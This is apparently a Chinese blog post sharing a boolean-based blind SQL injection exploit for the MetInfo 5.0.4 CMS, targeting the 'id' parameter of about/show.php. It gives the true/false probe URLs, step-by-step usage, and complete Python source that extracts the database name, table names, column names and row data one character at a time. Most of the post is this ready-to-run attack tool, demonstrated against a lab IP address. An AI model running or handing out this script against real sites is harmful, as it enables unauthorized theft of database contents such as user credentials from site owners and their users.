metinfo_5.0.4 布尔盲注 exp

metinfo_5.0.4 布尔盲注脚本

网盘链接

提取码:dx2o

布尔盲注判断依据

成功请求

http://10.9.47.148/metinfo_5.0.4/about/show.php?lang=cn&id=22 and 1=1

image-20231108114457722

失败请求

http://10.9.47.148/metinfo_5.0.4/about/show.php?lang=cn&id=22 and 1=2

image-20231108114603908

盲注脚本使用

启动脚本

python metinfo_booleanBasedBlind.py

爆破数据库名、表名

输入目标 ip,自动爆破当前数据库名、当前数据库的表名(前提 metinfo 要在目标主机 www 根目录,直接 http://10.9.47.148/metinfo_5.0.4 可以访问 metinfo 网页)

image-20231108115700356

爆破表中字段

输入要爆破的表名

image-20231108120020203

爆破字段中数据

输入要爆破的字段

image-20231108132756901

解码

image-20231108132849553

源码

import string
import requests
import binascii
############################################################################################################
#                                                 定义字符集                                                 #
############################################################################################################
try:
    # 定义字符集
    strings = string.digits+string.ascii_letters+'_'
    str =  []
    for i in strings:
        str.append(i)
    ip=input("输入目标 ip:")
    ############################################################################################################
    #                                                 爆破数据库长度                                              #
    ############################################################################################################
    database_length=0
    for i in range(1,30):
        url = f"http://{ip}/metinfo_5.0.4/about/show.php?lang=cn&id=22 and length(database())={i}"
        res = requests.get(url=url)
        if res.status_code == 200:
            database_length=i
            break
    print(f"数据库名长度为{i}位")
    database_length=i
    print("***************************************************************************************************")
    ############################################################################################################
    #                                                 爆破数据库名                                               #
    ############################################################################################################
    database_name=""
    print("当前数据库:")
    for i in range(1,database_length+1):
        # 每位遍历字母数字下划线
        for j in str:
            # 进行 ascii 转码
            url = f"http://{ip}/metinfo_5.0.4/about/show.php?lang=cn&id=22 and ascii(substr(database(),{i},1))={ord(j)}"
            res = requests.get(url=url)
            if res.status_code == 200:
                print(j,end="")
                break
    print()
    print("***************************************************************************************************")
    #############################################################################################################
    #                                                 爆破表名                                                   #
    ############################################################################################################
    print("爆破表名")
    for i in range(0,600):
        # flag 用于避免爆破完每张表的继续进行多余爆破
        flag=0
        # end 用于避免爆破完表继续进行多余爆破
        end=0
        print(f"[{i+1}]", end="")
        # 假设每个表的表名最长30位,每个表名按位查询
        for j in range(1,30):
            for name_str in str:
                url = f"http://{ip}/metinfo_5.0.4/about/show.php?lang=cn&id=22 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1))={ord(name_str)}"
                res = requests.get(url=url)
                if res.status_code == 200:
                    print(name_str,end="")
                    # 该表名非空(未达到最大表数量)
                    end=1
                    break
                elif name_str=='_':
                    flag=1
                    break
            # 跳出超过表长,跳出循环
            if flag==1:
                break
        # 爆破的数据表超过最大数量,跳出循环
        if end==0:
            break
        print()
    #############################################################################################################
    #                                                 爆破字段名                                                 #
    ############################################################################################################
    print("***************************************************************************************************")
    table_name=input("输入要爆破的表名:")
    table=table_name
    table_name="0x"+binascii.hexlify(table_name.encode()).decode()
    # 跑第0-100个字段
    for i in range(0,100):
        print([i+1],end="")
        end=0
        # 假设每个表的字段名最长30位,每个字段名按位查询
        for j in range(1,30):
            flag = 0
            for name_str in str:
                url = f"http://{ip}/metinfo_5.0.4/about/show.php?lang=cn&id=22 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name={table_name} limit {i},1),{j},1))={ord(name_str)}"
                res = requests.get(url=url)
                if res.status_code == 200:
                    end=1
                    flag=1
                    print(name_str,end="")
                    break
            # 超过该字段长度,跳出循环,开始爆破下个字段
            if flag==0:
                break
        print()
        if end==0:
            break

    #############################################################################################################
    #                                                 爆破字段数据                                                #
    ############################################################################################################
    print("***************************************************************************************************")
    column=input("输入要爆破的字段:")
    # 跑第0-100个用户名
    for i in range(0,100):
        end=0
        # 假设每个用户的表名最长100位,每个用户名按位查询
        for j in range(1,100):
            flag=0
            for name_str in str:
                url = f"http://{ip}/metinfo_5.0.4/about/show.php?lang=cn&id=22 and ascii(substr((select {column} from {table} limit {i},1),{j},1))={ord(name_str)}"
                res = requests.get(url=url)
                if res.status_code == 200:
                    end=1
                    flag=1
                    print(name_str,end="")
                    break
            if flag==0:
                break
        print()
        if end==0:
            break
except:
    pass
  • 10
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值